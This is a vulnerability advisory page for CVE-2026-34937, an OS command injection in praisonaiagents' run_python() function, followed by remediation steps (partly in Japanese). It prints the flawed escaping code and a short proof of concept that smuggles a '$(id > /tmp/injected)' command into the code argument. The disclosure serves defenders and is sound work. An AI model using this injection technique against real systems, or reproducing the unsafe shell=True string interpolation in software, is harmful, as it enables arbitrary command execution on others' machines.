OS Command Injection in praisonaiagents (CVE-2026-34937)
Summary
OS command injection in praisonaiagents (CVE-2026-34937). Successful exploitation can lead to full system takeover. Exploitable via praisonai. Mitigation: upgrade to 1.5.90 or later.
Original description
The description as published by the source.
Summary
run_python() in praisonai constructs a shell command string by interpolating user-controlled code into python3 -c "" and passing it to subprocess.run(..., shell=True). The escaping logic only handles \ and ", leaving $() and backtick substitutions unescaped, allowing arbitrary OS command execution before Python is invoked.
Details
execute_command.py:290 (source) -> execute_command.py:297 (hop) -> execute_command.py:310 (sink)
# source -- user-controlled code argument
def run_python(code: str, cwd=None, timeout=60):
# hop -- incomplete escaping, $ and () not handled
escaped_code = code.replace('\\', '\\\\').replace('"', '\\"')
command = f'{python_cmd} -c "{escaped_code}"'
# sink -- shell=True expands $() before python3 runs
return execute_command(command=command, cwd=cwd, timeout=timeout)
# execute_command calls subprocess.run(command, shell=True, ...)
PoC
# tested on: praisonai==0.0.81 (source install, commit HEAD 2026-03-30)
# install: pip install -e src/praisonai
import sys
sys.path.insert(0, 'src/praisonai')
from praisonai.code.tools.execute_command import run_python
result = run_python(code='$(id > /tmp/injected)')
print(result)
# verify
import subprocess
print(subprocess.run(['cat', '/tmp/injected'], capture_output=True, text=True).stdout)
# expected output: uid=1000(narey) gid=1000(narey) groups=1000(narey)...
Impact
Any agent pipeline or API consumer that passes user or ta…
Source: NIST National Vulnerability Database NVD GitHub Advisory
Auto-generated summary
Assembled by SecPulse from the source data (CVSS, CWE, affected versions) using templates — no AI involved. Check the original description and references below for exact details.
A vulnerability tracked as CVE-2026-34937 has been found in praisonaiagents.
Attackers can target a specific entry point like praisonai over the network to misuse the product.
Successful exploitation can lead to full system takeover. CVSS score: 7.8/10.
What to do: upgrade praisonaiagents to 1.5.90 or later.
If unsure, ask your IT team or search "praisonaiagents CVE-2026-34937" on the vendor's site.
CVE-2026-34937 (praisonaiagents) — CWE-78 / CVSS v3 7.8
Attack vector: local / no user interaction
Attack surface: praisonai
Patched: 1.5.90 — apply immediately
Plan: 1) Audit SBOM/dependencies, 2) Stage→prod upgrade, 3) Add WAF/proxy monitoring on affected endpoints, 4) Hunt IOCs in logs.
Refs: see the GHSA / vendor advisory / patched release linked on this page.
OS command injection (CWE-78) exists in praisonaiagents. Attackers reach the vulnerable code path via praisonai.
Check the vendor advisory for the affected versions of praisonaiagents. Attack surface: praisonai.
Severity: High (CVSS 7.8/10). Successful exploitation can lead to full system takeover.
Update to 1.5.90.
Until the patch is applied: disable the affected feature, apply WAF rules, or restrict access via network ACLs.
Search webserver/proxy logs for unusual request patterns matching this CVE's known IOCs. Run grep -r 'praisonaiagents' . against your dependency files (package-lock.json, requirements.txt, go.sum) to find affected services.
Response actions
Concrete steps and command examples for SOC/SRE teams to execute in order
-
1Identify exposure identify
grep -r 'praisonaiagents' . | grep -v node_modulesリポジトリと本番環境の依存ファイル (package-lock.json / requirements.txt / go.sum / Gemfile.lock 等) で
praisonaiagentsを grep し、稼働しているサービス・バージョンを把握する。 -
2Apply patch patch
Upgrade praisonaiagents to 1.5.90ステージング環境で 1.5.90 に上げて回帰テスト → 本番反映。回帰テストはアプリの主要ハッピーパスを含めること。
-
3Post-deployment verification verify
Confirm patched version is live in productionパッチ適用後、ステージングで PoC または同等の悪用パターンを再現して脆弱性が閉じたことを確認。本番ではアクセスログ・WAF でアラート再発が無いか継続監視。
Affected packages
References
- advisory nvd.nist.gov
- package github.com
- web github.com